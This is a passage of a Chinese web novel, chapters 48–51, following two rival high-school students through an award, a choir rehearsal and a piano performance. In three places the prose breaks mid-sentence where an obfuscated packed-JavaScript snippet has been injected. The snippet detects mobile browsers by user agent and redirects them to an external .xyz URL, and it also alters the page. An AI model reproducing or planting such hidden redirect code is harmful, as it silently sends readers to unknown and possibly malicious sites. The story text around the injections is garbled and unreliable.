“我和他的故事啊——哎呀,这个你应该在故事书上都看过了,没错,那就是《龟兔赛跑》的故事。我呢,就是那只兔子,本是天选的主角,跑步比赛铁打的第一,却不料在一次熟睡中,被何非亮那只老乌龟,暗中夺走了气运,第一名也被他给抢了。好气哦!再比一次,我要将我失去的东西全部都亲手夺回来!且听第一回——‘神兔逆袭,打脸河边老龟’!” “哈哈哈哈哈!”林茉茉绷不住,弯着眼睛笑了起来,“这是什么书啊?《纪小兔与何龟亮》吗?哪里可以买?我要买!” 48.第四十八章 最受欢迎 冬天,太阳怕冷,一天比一天着急回家。 不知不觉,天际霞光收敛,残阳掩入微云。仿佛才一低头吃晚饭的间隙,夜色便趁虚而入,彻底降临。 远近的街灯明了,高楼大厦窗子里的灯也明了。灯火辉煌,一盏接连一盏,串连起城市里浩瀚的星系。 灯光,是人类与黑夜的抗争吗?还是与时间赛跑的讯号? 夜色里,有的人回家,有的人上学。 啊,大晚上的上什么学? 当然是晚自习啦! 高中生的星期天,照例是有晚自习的。 哎呀呀,纪小鱼掰着手指盘算,这是一天打两份工呐!真是太不容易了! 而且两份都没有钱钱……/(ㄒoㄒ)/~~ 还好,两份工都很有意义!!! 那么,今天的晚自习学什么呢? 纪小鱼略微惆怅地望向深远的夜色。 作业本都被临阵磨枪的同学借去观摩了,毕竟今天晚自习结束之前就要交了;陈阅增先生的《普通生物学》上上个星期就已整理好了全部的笔记;《全国中学生生物学联赛理论试卷解析》也已全部刷完并整理好了错题;《奥数教程》也在这个周六初步学习完了第一轮…… 一时,竟是已无题可做了。 唉,真是令人烦恼,看来是时候要去购进一批新题了。 要不,先偷偷看看何非亮在干嘛吧? 呃,不是,他有病吧! …… 书堆摞起的壁垒中,安静、低调地摆放着一张棋盘。 何非亮正在自己和自己下棋,左手执白,右手执黑,有条不紊,下得津津有味。时不时,还一本正经地拖着下巴,似乎在沉思。 …… 啧,这要不就是太过无聊,要不就是……多少有点精神分裂了。 纪小鱼摇了摇头。 业精于勤,荒于嬉! 何非亮嬉,我学习! 此时此刻,正是我弯道超车的好时机。 想了想,纪小鱼起身,从教室的图书角,精心挑选了一本《群众日报-教你写好文章》看了起来。毕竟,这次月考,还是深刻地感觉到了,语文作文,实在是最令人头疼的一部分。 遇到有话可说的题目,自然是下笔千言,一挥而就。 遇到无话可说的题目,唉,那便是另一番景象了—— 搜刮枯肠,也想不出一个论据;苦思冥想,也挤不出几句道理。偏偏作文占据的不是6分而是60分,于是逼得人绞尽脑汁、挖空心思、因为所以、科学道理、天文地理、啥都可以、狗急跳墙、胡编乱造、自创名言、一堆瞎扯,卷子发下来,自己读了都要发笑。 可怜呐! 唉,没办法。这年头,卷得很。 某科拿0分还能被破格录取的偏科大师已经成了传说。现如今的高考,想要进入顶尖大学,文科生往往最后拼的是数学,理科生呢,也得语文顶呱呱、英语叽里呱啦。 也罢! 纪小鱼翻开书,顿时被其中金光闪闪、扑面而来的“正能量”所打动——啊,太感动了,就让我成为这时代洪流中砥砺前行之人吧! …… 下课铃声打响,转眼间又度过了一节充实的晚自习。 纪小鱼心满意足地伸了个懒腰,随意一瞥,发现何非亮的棋盘已经收了起来,好奇道,“诶,你刚才是左手赢了,还是右手赢了?” “你猜?” “这有什么好猜的?”纪小鱼一边朝何非亮翻了个白眼,一边随口猜道,“左手赢了?” “哎呀,不好意思,你猜错了,”何非亮弯了弯眼睛,“是右手赢了。” “切!”纪小鱼满不在乎地应道,“那显然是因为我坐在你的右边,拉高了你右手的智商,你的右手才会赢的。我刚才不过是忘记考虑这一点了。” “哦,原来如此啊~”何非亮若有所思地点了点头,“只不过我有不同的想法。比如左手对应右脑,右手对应左脑……” 何非亮没有再说下去了,只是意~味~深~长~地笑了笑。 啧,意思很直白了。 甚至不用细品。 纪小鱼:“……” 哎呦,好气哦! 讽刺的话被反弹回来,可是偏偏又无从反驳。 这种感觉,就好像是牙齿咬到了舌头、左脚踩到了右脚、哑巴吃到了黄连,实在是太不爽了! 正在气头上时,卓影突然神神秘秘地从A班教室的后门闪现了进来,热情地摇了摇手,“晚上好啊两位!” “你可以和我打招呼,也可以和他打招呼,”纪小鱼气呼呼地微微皱眉,摆出一副誓要和何非亮划清界限的样子,“但请你不要用‘两位’这种把我和他相提并论的词语。” “啊?”卓影不明所以地挠了挠头,“你们吵架了?” “没有。”纪小鱼硬邦邦地否认,随及又绷着脸补上了一句,“但请你也不要用‘你们’这种把我和他相提并论的词语,我和他又不熟。” “哦,好、好的。”卓影干巴巴地笑了几声,试图缓解一下尴尬的气氛。 哎呀,这…… 好不容易来一趟,难道来的刚好不是时候吗? 他紧张地瞅了一眼何非亮,发现何非亮的脸色还算和善,一颗悬着的心才缓缓地放下来了些。 “咳,是这样的。”卓影把目光转回到了纪小鱼身上,解释道自己的来意,“之前我们记者社举办了一个活动,就是大家投票,pick篮球赛中最喜欢的‘打手’。现在,投票结果已经出炉,究竟谁才是我们‘最受欢迎奖’的得主呢——” 卓影的这一声拉长了悬念,只可惜听众没什么反应。 “究竟谁才能拿到我们本次的神秘大奖呢?”卓影说着,又从手里提着的帆布袋中抽出了一个包装精美的小盒子,激动地摇晃了一下,“当当当当——” 可惜,这一声充满张力的吆喝也没有激起什么涟漪。 何非亮照常是一副淡淡的样子,仿佛抽离于世外,对人间俗事毫不上心。 而纪小鱼也冷漠地想——反正这个“最受欢迎奖”和我也没有什么关系,肯定又是被何非亮拿去了。 卓影只好不再卖关子,冲纪小鱼竖起了大拇指,开门见山地夸道,“大哥不愧是大哥,实力没得挑,人格魅力也非常牛逼,取得了我们本次的‘最受欢迎奖’,恭喜恭喜!” “啊,”纪小鱼被这突如其来的奖项砸得一整个愣住了,缓了缓,才不可置信地指着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102189|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的鼻子问道,“我、我最受欢迎吗?” “嗯!”卓影肯定地点头。 “哎呦、哎呦,哈哈,这……”惊喜的情绪在纪小鱼心中炸开,让他有点恍惚,“还、还有奖品吗?” “有的有的!”卓影说着就把手上的小盒子递了过去。 纪小鱼眉开眼笑地伸手去接,一边好奇地问,“这是什么?” “扑克牌。” “啊?”纪小鱼像被烫到了一样,猛地又把伸出去的手缩回去了。 晴空万里的心间电闪雷鸣,那是“因为不知道扑克牌有几张所以被扣了五分导致在数学竞赛的最后关头输给了何非亮”的创伤性回忆。 唉,小弟啊,世界上有那么多牌,虽然我个人比较想要狼人杀游戏纸牌,但是你说你准备一副塔罗牌也行啊! 偏偏送来我童年的阴影。 要不…… 这个荣誉收下了,奖品就……不要了? 可是…… 可是,这是“最受欢迎奖”的奖品啊!!! 这是来自同学们的支持、鼓励还有爱啊!!! ╥﹏╥... 几番挣扎之下,纪小鱼终于决定,要告别内心的阴影。 “过去的阴影,你好! 对不起,虽然你也是我回忆中十分重要的一部分,但我确实不能再一直紧握着你了。 我把你交给今天的风,愿你能在遗忘的峡谷中得以安息。 再见啦,我要去拥抱崭新的未来了。” 告别完毕,纪小鱼勇敢地接下了属于他的奖品。 “你快拆开看看!”卓影鼓励道,“这可不是一般的扑克牌。” “好咧。”纪小鱼小心翼翼地拆开包装,里面确实是一整份的扑克牌。特别的是,每一张牌的上面,都印上了这次篮球赛的精美照片。 有A班的,也有别的班的,都是篮球赛活动中的精彩瞬间,非常有纪念意义。 纪小鱼一张一张地慢慢地欣赏,目光倏尔停顿了。 他拈起大王牌,又拈起小王牌。 大王牌上,是何非亮侧脸的剪影——不得不说,的确是无可挑剔、令人赞叹的轮廓。 这样线条锋利的侧脸,本该是凛冽的。可也许是拍下来的瞬间夕阳足够美好,风起涟漪,他略微低头,半张脸流淌着淡淡的金色微光。好像有什么东西融化了,糅杂进了一种直击心底的温柔。 小王牌上,是纪小鱼侧脸的剪影——不得不说,也很帅!他抬头仰望,元气满满。 摆在一起,就好像两个人在静止的时空中,面对面地对望。 “凭什么,”纪小鱼不懂就问,只是发问的语气不太友好,“何非亮是大王,我是小王?” “呃……”卓影克制着自己要擦汗的冲动,艰难地开口道,“也许是因为这次的‘最受欢迎奖’,何非亮的票数刚好要多一票?那个,我们、我们这次‘最受欢迎奖’一共有两个名额。” “但是!”卓影注意到了纪小鱼摇摇欲坠的笑容,连忙从帆布袋中掏出了一个一模一样的小盒子,十分有求生欲地挣扎道,“但是你们的奖品是一样的!是一样的!” “谢谢。”何非亮神态自若地接过属于他的那份奖品,“我还挺喜欢的。” 49.第四十九章 不如唱歌 天高云阔,炽热的阳光把树梢上的每一片叶子都照得闪闪发亮,恍惚间仿佛盛夏。如果不是空气中的确是有些隐隐约约、飘忽不定的凉意,谁能相信此时此刻其实是在冬天呢? 眼前的景象,明晃晃、闪耀耀,一副生机无限的样子。纪小鱼把自己刚准备要叹的气又收了回去。 算了算了,这样敞亮的天气,实在是不适合惆怅,所以不妨开心一些。 所以…… 即使这次月考总分惨居年级第二,再次输给了坐在旁边的混蛋,纪小鱼还是努力地咬着牙,硬挤出了一个虚幻的微笑。 对,主打地就是一个笑对生活! 哈哈哈哈哈! 我好乐观哦! “诶,小鱼,你这次作文没写好吗,怎么没看见你的?”课间时分,何非亮兴趣缺缺地扫过本次月考印发的优秀范文,十分做作地流露出了几分假惺惺的遗憾,“我还挺想知道你怎么写的。” “呵呵,就~不~给~你~看!就~不~给~你~看!”纪小鱼一边朝何非亮翻了个巨大的白眼,一边不满地吐槽道,“好烦哦,全校那么多人,你干嘛光盯着我的作文看哦?” 何非亮耸了耸肩,“还不是为了关心我的教学成果。” “教学成果?”纪小鱼迷茫地睁大了眼睛,“啥呀?你教我写作了吗?” “教了呀,”何非亮弯着眼笑了笑,“你不会忘了吧?” “啊?什么时候啊?”纪小鱼摸着下巴,困惑地陷入了回忆。 回忆加载中…… 三秒钟后,纪小鱼面色古怪地从抽屉里掏出了一团揉得仿佛跟咸菜一样纸,展开、铺平,犹疑地问道,“呃……你说的教,不会指的是,给了我这个《高考作文等级评分标准》吧?” 何非亮没有搭话,只是垂着眼皮,朝桌面上这张皱皱巴巴的《评分标准》投去了同情的目光。 “你这个一点用也没有,我记得我之前本来都是要退货的。至于为什么没退,”纪小鱼抓了抓脸,“呃,我一时也想不起来了……” “不过,我另一个朋友就教得就比较好!你看,他和我说——文无定法,唯风骨可见高下!”纪小鱼一番话说得抑扬顿挫,还一边伸出手在空气中抒情地比划,连眼睛里也不自觉地染上了一层闪亮亮的光芒,“啧,风骨!怊怅述情,必始乎风;沉吟铺辞,莫先于骨[1]。嗯,你细品,是不是特别高级!” “是、是,特别高级,听起来好厉害的样子,”何非亮敷衍地应道,一副要笑不笑的样子,“那你可要好好学哦,下次考试作文不要再落下了。” “不然的话,”何非亮懒洋洋地打了个呵欠,“我会觉得每次考试都很没有挑战性的。” 纪小鱼:“……(╯▔皿▔)╯” 啊啊啊啊啊啊! 好气哦! 什么叫很没有挑战性!难道我满分的数学还不足以让你颤栗吗? 很好,何非亮,你等着!纪小鱼在心里朝着何非亮竖起了一根不太文明的手指——总有一天,我会让你哭着体会到什么叫失败的屈辱! 我发誓! 下午第二节课的下课铃打响之际,A班的英语课代表兼文艺委员蒋青青突然站起身,用力地拍了两下手,“Attention please!同学们,下节自习课我们要去音乐教室练习合唱哦!” 艺术节的日程已经定下。时间就在十二月二十四日,三个星期以后的周六。上午是学校艺术团的表演以及高一、高二各个班级的合唱比赛,下午和晚上则是八仙过海、各显神通的个人才艺展示。 哎呀呀,如果你的重点放在为什么是周六举行,那你可能要去问一下张校长。是他指使的! 纪小鱼正野心勃勃地筹划着自己的“卷王大业”,闻言抬起眼,迷茫地望向黑板上用粉笔书写着的课程表——下午的最后一节课,赫然还写着“自习”。它的名字并没有被抹去,如今却已名存实亡,沦为当代高中生被迫集体K歌的时光。 “唉,”蒋小胖放下了手中正赶着作业的笔,摇头晃脑,随口吟诵道,“争渡,争渡,题海可有出路?” 纪小鱼一惊——真嘟,假嘟,小胖有此觉悟!如此佳句,非得是认真学完古诗词单元的同学才能随口吟出的罢! 下一秒,蒋小胖从座位上艰难地起身,右手锤着软软的腰,又接了下句,“唱歌,唱歌,学习不如唱歌!……再见了,我的作业们,只能请你们自己写自己了。” “小鱼,”蒋小胖朝纪小鱼露出了一个憨憨的笑容,“一起走吗?” “嗯,”纪小鱼点点头,“走!” 像是生怕何非亮趁机多学一秒,纪小鱼又赶紧转过头邀请,“何非亮,走不走?” “嗯,走。” 同学们三三两两地往音乐教室走去。 “唉,都已经高二了,怎么还老有这些麻烦的活动啊。真是折腾!”有小同学A抱怨道。 “就是啊,”小同学B附和道,“我每天觉都睡不够了还搞这个。” “算了算了,反正也是最后一次了。” 那时他们的脸上多少有点意兴阑珊的倦怠。可奇怪的是,多年以后,曾经写过的题早已忘记了最惊艳的解法,嘴里却仍然时不时地哼唱起当年的曲。 时光荏苒,终究是弄丢了什么,又留下了什么…… 印着歌词的纸张被分发下去,蒋青青带着大家随着原唱一起唱。她不愧是S中合唱团的一员,声音饱满清晰,于低沉处平稳,于高亢处惊鸿,歌喉像会翩跹的鸟一样婉转自由。 这样唱了两遍以后,在安静下来的音乐教室里,蒋青青眨了眨眼睛,问道,“大家都学会了吗?” 大家没说会了,也没说不会,都似是而非的笑了。过了一会,才终于有几个活泼的声音捧场道,“会了,会了!” “好哦,”蒋青青也笑了,“那我们试一下不要原唱了哦。” “班长,”虽然这一幕已经提前在脑海里经过了无数次的预演,自以为做好了准备,但是目光真的与何非亮的眼睛对上时,蒋青青还是深刻地感受到了内心深处一种难以言说的震颤,她把因为紧张而颤抖的手藏在身后,努力维持着最得体的笑容和最自然的声线,询问道,“你可以帮忙伴奏吗?” “好。”何非亮矜持颔首,还没有走到钢琴前,就有一道尖锐的女声突然响起,试图拦截他。 “青青,”开口的是蒋青青的闺蜜夏美妮,A班数一数二的e人,她的眼睛弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109231|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起看热闹不嫌事大的弧度,胆大包天地喊道,“应该要让班长指挥,这样我们就可以光明正大地看他了!” 这样就可以有一个完美的理由,可以光明正大、肆无忌惮地盯着S中有史以来最帅的帅哥看了!这简直是一个天才的想法! “哈哈哈哈哈!” 这个提议引起了一阵哄笑,以及热烈的支持。 “这个……”蒋青青被突如其来的变故弄得内心抓狂,只好把目光局促不安地投向何非亮,盼望着他答应,或者拒绝。 “好。”何非亮在起哄声中配合地说,“我可以指挥。” 那这样一来,钢琴前的位置似乎就空悬了。何非亮转过头,问纪小鱼,“小鱼,你要不要伴奏?” “不要,”纪小鱼生硬地拒绝,“我不会弹钢琴。” “哦~”何非亮掩藏住目光里的笑意,煞有介事地点点头,重复地念了一遍纪小鱼刚才说过的话,“你不会弹钢琴。” 哈? 纪小鱼呼吸一窒。 那一刻,他像被踩了尾巴的猫、被抢了食物的狗,有一种“好气哦”的感觉! 可恶,这种意犹未尽的语气! 可恶,这种咬文嚼字的腔调! 可恶,这种评头论足的姿态! 可恶,这种好像在讪笑、好像在挑衅,好像要在全班同学面前强调点什么的样子! 这些,都让纪小鱼再也难以维持自己想要低调的决心。 “胡说八道!我会得很!” 纪小鱼气冲冲地撞过何非亮的肩膀,大踏步地走向钢琴的琴凳。他像威风凛凛的君王毫不客气地端坐在了属于他的王座上。 “啊,”蒋青青回过神来,连忙把手里的五线谱递了上去,“谱子在这里!” “谢谢。”纪小鱼微微一笑,没有接过琴谱。他说,“不用。” 不用,就是——不需要的意思。 “呃……真的假的……”蒋青青半信半疑地把递出去的手缩了回来。 她自己也学过钢琴,从小学一年级开始,磕磕绊绊地一路考级,一直到六年级考过了钢琴十级以后,才像是圆满完成了一个任务一样不再学了。上了初中以后,她转而喜欢上了唱歌,凭借着天生的好嗓音、不错的音乐基础和家人的支持,顺利入选了学校的合唱团接受训练。有了这样的经历,再怎么说,也算是有超过常人的乐理知识和实践基础了吧? 真要她扒谱她也能扒……但…… 哎呀,这就好像听一整段的英语听力再复述出来——听懂大概的意思不难,偷工减料地说个大概的意思也不难;如果可以反复回放,那么一句一句精听,把每一个单词都抓住,靠着做下的笔记也许也确实能够复述个七七八八。可如果要求听完就不看笔记完完全全、一字不落地马上说出来……先不说这要多好的听力和口语基础了,光是这一份记忆力,就实在是值得惊叹了。 听完曲子就能完全不看谱立马演奏出来?蒋青青摇了摇头,这种事情她想都不敢想。不过,学校交响乐团的那个首席小提琴手,她的话应该可以做到…… 其他同学也朝纪小鱼投来了或探寻或好奇的目光,屏息凝神地看着纪小鱼怎样继续他开场就如此装逼的表演。 50.第五十章 你有心事 声音是有颜色的。 纪小鱼不慌不忙地端坐在钢琴前,双手安静地覆在琴面,感受到每一个按键都争先恐后地告诉他自己的色彩。 几个懵懂的音节从他试探着加重的指尖欢快地蹦出,像带着好奇来到这个世界。它们是青草绿、湖蓝和孔雀的尾羽。 纪小鱼轻抬左手,配以和弦—— 开头的旋律自然而然地从他的指尖倾泻流淌,一如青春的深泉潺潺而流。 他们好像正置身于一段比黄金更闪耀、比珠宝更璀璨的岁月,一段总有人怀念着、惦记着的宝贵年华。身处在这段时光的他们不知道大家在缅怀什么、追悼什么。他们迫不及待地盼望着长大。 当然,有时候是偶尔,有时候是经常,脑海里也会浮现出很多迷茫的问号——如果青春真的像已经长大了的人口中所说的那么可贵,那么应该怎样度过才好呢?可以不留遗憾地去经历、经历这只有一次的青春吗?可以对喜欢的人大声说喜欢吗?可以坚定地去追逐梦想的生活吗?哪怕梦想总是那么难以启齿,也可以勇敢地为之努力吗? 未来的自己,会变成什么样子呢? 琴音逐渐从悠扬变得澎湃,像水花碰撞礁石,锐气直穿冰雪,像语文课代表宋倩亲自编写的歌词里写着的那样—— “ 有一天回首过去 可不可以不忘初心 回想我们年少岁月 可以为此感到骄傲吗 可以勇敢一点吗 再勇敢一点 不留遗憾与你经历这场旅行 怀抱滚烫的心意仰望夜空炽热星河 时光不应该虚度 不应该辜负 梦想永远值得每一个人追逐 感谢一路的倔强 谢谢你陪在我身旁[1] …… ” 黑白的琴键在纪小鱼的手下俯首称臣。那是波澜壮阔、用音乐构筑的诗篇,让人心向神往,又让人热泪盈眶。 总该有一些东西不应该被时间的潮水淹没——譬如年少时滚烫的心意、有着自己形状的棱角、不知何时何地生根发芽的梦想。 人生曲折,大概总是这样的,如同跌宕的琴音,有时高峰有时低谷。快乐是正常的,悲伤也是。 无论如何,愿你我永远有盖过怯弱的勇锐、压倒苟安的进取、擦干眼泪让自己振作起来的倔强,和追逐幸福的决心,喜乐地迎接生命里每一道金色的、闪亮的光束。 也谢谢,青涩岁月里陪伴在身边的你。 随着最后一串滑音清脆地落下,一曲终了,余音绕梁。 同学们好像猝不及防地出席了一场音乐会,统统都目瞪口呆——这个真的是不用买门票就可以免费听的吗? 蒋青青也愣住了,脑海了只剩了“我的天啊”四个大字。 也不知道是谁先起的头,掌声“哗啦啦”地响起。 “哎呦,”何非亮也跟着拍了拍手,眉眼里漏出了一点欣赏的笑意,与此同时,他果然也没有放弃任何一个可以调笑纪小鱼的机会,“小鱼,你这不是会弹钢琴吗?弹得挺好的呀!” “切!”纪小鱼对何非亮的夸赞嗤之以鼻。 “救命,”蒋小胖抬手擦了擦眼角的泪,“我刚才想起了我的爷爷。” 就这样,纪小鱼毫无置疑地成了A班合唱队伍里的钢琴手。 虽然有那么一点小小的不情愿,但纪小鱼还是乖乖地稍稍收敛了一下个人的风采,才不至于把“伴奏”变成“演奏”。 不知不觉,下课铃声打响。 蒋小胖兴冲冲地跑来钢琴前,“小鱼,好久都没有和你一起吃晚饭了,今天可以一起吗?” “好啊!”纪小鱼回答完,又下意识地看向何非亮,见他正慢条斯理地用酒精消毒湿巾擦拭着手里的指挥棒。 “喂,何非亮,你要不要去吃饭?” “你们去吧,”听见纪小鱼的招呼,何非亮抬起头温和地笑了笑,一边把指挥棒收好,放回到音乐教室讲台的抽屉里,“我不饿。” “不饿也可以吃饭啊!”纪小鱼嘴上不依不饶,不过,见何非亮只是笑笑并不接话,也就作罢。 纪小鱼把钢琴的琴盖小心地盖上,“走吧,小胖!” “诶,好!小鱼,你今晚想吃什么?” “还没想好。你呢?” “我想去开心熊餐厅吃鳗鱼排骨煲仔饭。” “行啊。那我吃石锅拌饭吧。” “今天的天空真美啊!小鱼,你弹钢琴也好厉害啊!” “那必须得厉害啊!” “不过,咱俩认识这么久,还是第一次听你弹呢!” “啊哈哈哈……做人要低调嘛……” …… 两人有说有笑地走远,声音随风吹散,再也听不见了。其他同学也慢慢地都离开了。 音乐室陷入悠长空旷的寂静。木制的桌椅,沉默的乐器,细小的尘埃在充盈的光芒中没有方向地飘荡。 今天的天空的确是很美。 透过窗户往外望去—— 落日熔金,霞光漫天。大半边天空烧起了橘红色的海,亮金色的海浪翻滚其间,的确是美不胜收。 何非亮的手在钢琴键上停歇。夕阳从窗子里照进来,金辉满室。他和钢琴的影子融合在一起,以一种抽象的姿态拉长。 …… 微风吹过的傍晚 天边有霞光夕阳漫长 阳光此刻也显得倔强 在将要坠下时也拼尽光芒 仰望天地间的这片绚烂 一天一起落晚照复晴空 远望渐入黑暗那抹璀璨 一朝又一夕一万年亦如梦 * 时光总是太匆忙 让人不敢贪求地久天长 时光从不因留恋放慢 无喜也无悲都安静流淌 时光在日出日落中轮转 一岁一春秋盛夏到残冬 时光在流逝中刻下珍藏 一念定一生一刹那间永恒[2] …… 在独自拥有的时光里,他看了一场夕阳,带着疏离和疲倦的神色,像一座孤岛在看海。 天空和海洋存在着某种联系吗?它们有时候那么像,中间却隔着一个空旷的人间。 落日终于静谧地没入远处起伏的高楼。暮云合璧,绚烂的光影弥漫消散,被深沉厚重的灰蓝取代,像夜色下无波的海。 一双手突然地蒙住了他的眼睛,掌心柔软,指尖温热,像小心地覆盖着轻盈的羽毛。 说话的声音却带着一种气势汹汹的劲头,“喂,你弹的第一首曲子是《霞光》,第二首是什么?” 黑暗突然降临,何非亮在睫毛轻颤间恢复了不动声色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113538|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的镇静,端坐如巨浪翻滚间沉默的礁石。 一个呼吸以后,他缓缓开口,声线和往日一般温润平和,“《克罗地海洋》,新文艺复兴时代的曲子。” “啊?” 纪小鱼有点不明所以——文艺复兴听说过,新文艺复兴又是什么时候?已经开始了吗? “如果你只是要问我弹的是什么曲子,”何非亮略微停顿,嘴角氤氲着一丝浅浅淡淡、难以捉摸的笑意,仿佛刚烧好的龙井茶汤上飘起的一缕湿润恍惚、带着清香的水汽,“那你为什么要蒙住我的眼睛呢?” “对哦,”纪小鱼松开手指,懊恼地抓了抓脸,“应该先问‘猜猜我是谁’的。” “那现在问还来得及吗?”纪小鱼嬉皮笑脸地凑上去,又重新盖上了何非亮的眼睛,捏着嗓子故弄玄虚地问道,“猜猜我是谁?” “你是纪小猪。” “什么!?”纪小鱼不高兴地囔囔,“猜错了!” “你是纪小狗。” “也不对!” “你是纪小虫。” 什么乱七八糟的? 纪小鱼头顶挂下三条黑线,“不对!不对!” “纪小丑?” “喂,太离谱了吧?我这辈子就不可能和‘丑’字沾边!” “嗯,这样啊……”何非亮思索了一下,犹疑地问道,“那你是——纪小帅?” “很接近了……”纪小鱼有点尴尬地否认,“不过,那是我表弟。” “哦,我想起来了,你是纪小龟。你走路很慢。” “嘿!越来越离谱了!”纪小鱼露出生气的模样,一时竟口出狂言,“你怎么不干脆说我是纪小便呢!我今晚就去你家随地大小便!” 面对如此虎狼之词,何非亮屹然不动,以一种无所畏惧的姿态回应得言简意赅,“欢迎光临。” “啧,气死了,”纪小鱼莫名吃了个哑巴亏,没安好心地由衷祝愿道,“真希望你考试的正确率也能像这样!” “我考试又不靠猜。你呢?” 纪小鱼气焰稍弱,“偶尔会蒙一两个吧……诶!诶!你不要转移话题!继续猜!” 何非亮微微弯起唇角,“嗯……你是纪小鱼。” “这还差不多。”纪小鱼心满意足地松开了手,结束了这一场看上去像是世界上最无聊的游戏。 “那么,”纪小鱼眨了眨眼睛,看着何非亮又狡黠又神秘地一笑,“轮到我猜了。” “嗯?” 纪小鱼直截了当地脱口而出,“你有心事!” 何非亮哑然失笑——哎呦,原来前面“明知故问”的游戏只是一个引子,为的是后面的反客为主。这是来拷问他来了。 “你不是去吃饭了吗?” “我水壶落了。”纪小鱼指了指放在桌上的运动水壶。 “嗯……那你拿了水壶赶紧去吃吧。” “我又不饿了。” “这样的话……小胖多可怜啊。” “没事,我已经把小胖托付给吕天明他们了。”纪小鱼大大咧咧地一笑,随及又好奇道,“你有什么心事啊?” 纪小鱼还真就在这个问题上不依不饶了——真奇怪!何非亮能有什么心事呢?他每次都考第一名! “呵呵,你猜。” 何非亮无情地丢下这一句话,又无情地起身离去了。 51.第五十一章 我不介意 夜色里的教学楼,灯火通明。再远处,穿过连绵的绿荫,是一片高低起伏的玻璃写字楼,那里灯火更盛,是城市的脊梁。 传说中,神在创世之初发明了光。再然后,过了不知几千几万几亿年,人类发明了灯,从此掌控了随时浸泡在明亮光海里的力量。 奇怪的是,这样以来,一天中可以自由活动的时间明明得以延长,人类却变得越来越争分夺秒。 将近晚自习开始,同学们都陆陆续续地回到了教室。 风过枝头,鸟雀无声。 “唉!” 纪小鱼重重地叹了口气。 不行,如果再在这个问题上纠结下去,那么他今天晚上写作业的效率肯定会大大降低!这是绝对不能够允许的! 于是,纪小鱼当机立断,决定集思广益,向他的智囊团求助。 “学神哥哥的心事啊……”听完前因后果之后,蒋小胖双手捧着脸,凝望着窗外,认真地思索了一下。 那应该是怎样的一幅画面呢?烈日的余晖收拢,鎏金的浮云暗淡,天空由亮金色逐渐过渡到黑夜,而空气中悬浮着似是挣扎又或者忧郁的曲调。学神哥哥孤单地弹着琴,身影在夕阳的最后一丝余晖中显得单薄而透明,他有想说又不能说的秘密。 神话里再怎样无坚不摧的怪物都有弱点——有的在脚底,有的在后颈,有的在眉心。学神哥哥那么厉害的人也会有软弱的地方吗? “哦~”半晌,蒋小胖恍然道,“我猜,学神哥哥大概是在追悼那一片逝去的夕阳吧。” “啊,他有病吗?” “这不是病,”蒋小胖认真地纠正道,“是文艺!” “呃……” “唉,让我来给你念一句,”蒋小胖捧起一本从紫色封皮开始就已经充满青春伤感和文艺气息的精美小书,深情并茂地朗诵道,“当无边黑暗的浪潮遵循着宿命即将淹没地平线以上的广阔天空时,试图挽留内心深处某一束珍贵光芒的倒影是一件多么危险却又浪漫的事情[1]。” “好了好了,可以了,小胖,停一下!” “不,小鱼,你听我说。泰戈尔在他的诗里写道,‘天空中没有留下鸟的痕迹,但鸟已经飞过’[2]。你再看此刻的夜空,虽然也没能留下傍晚时分那一片惊心动魄的黄昏,但美也已经来过,就在心里。” “啊?” “人总是在追求结果,可世界上所有人一生的终点不过是回归虚无罢了。但人生肯定是有意义的,这个意义就在于‘来过’。你被什么东西照亮,又去照亮别人。” “啊?” “光是抓不住的,可却在掌心留下温暖。” “真的可以了,小胖!” 纪小鱼扶额。 哎呦,小胖好像就是这样,总是很容易被他正在看的书影响。比如,语文课学到文言文单元的时候,他的嘴里便会多出许多的“之乎者也”;研习国外经典时,又时常蹦出诸如“小鱼,你是个有学问的人”、“小鱼,让我们彼此保持着不渝的交情”之类的话。小胖这几天,大概是在看某本既文艺又哲学的书吧? “好吧,”几经阻止以后,蒋小胖终于意犹未尽地咂了咂嘴,放下了手里的书,“不过,小鱼,这年头谁还没点心事呢?我也有啊。你看,我这次考试的年级排名,都快要三位数了。再这样下去,我就要被逐出A班了。” “我也有心事,”纪小鱼苦恼地揉了揉自己的太阳穴,“我总觉得何非亮好像克我。” 不然的话——何非亮的心事关我什么事,为什么总是在我的脑海里挥之不去,影响我做题的效率! 特别是那一段欲说还休的旋律,像流氓病毒一样霸道地占用着他大脑的运行内存,赶也赶不走,删也删不掉,几乎快要完完全全印刻在他脑神经的回路里了——唉,已经循环播放七十八遍了。 不过,纪小鱼用手机查了,根本就没有什么《克罗地海洋》这首歌,也没有听说什么新文艺复兴,可见何非亮就是一个满嘴胡言乱语的大骗子。 至于他的心事,肯定没啥好事。嘿,估计是个阴谋! 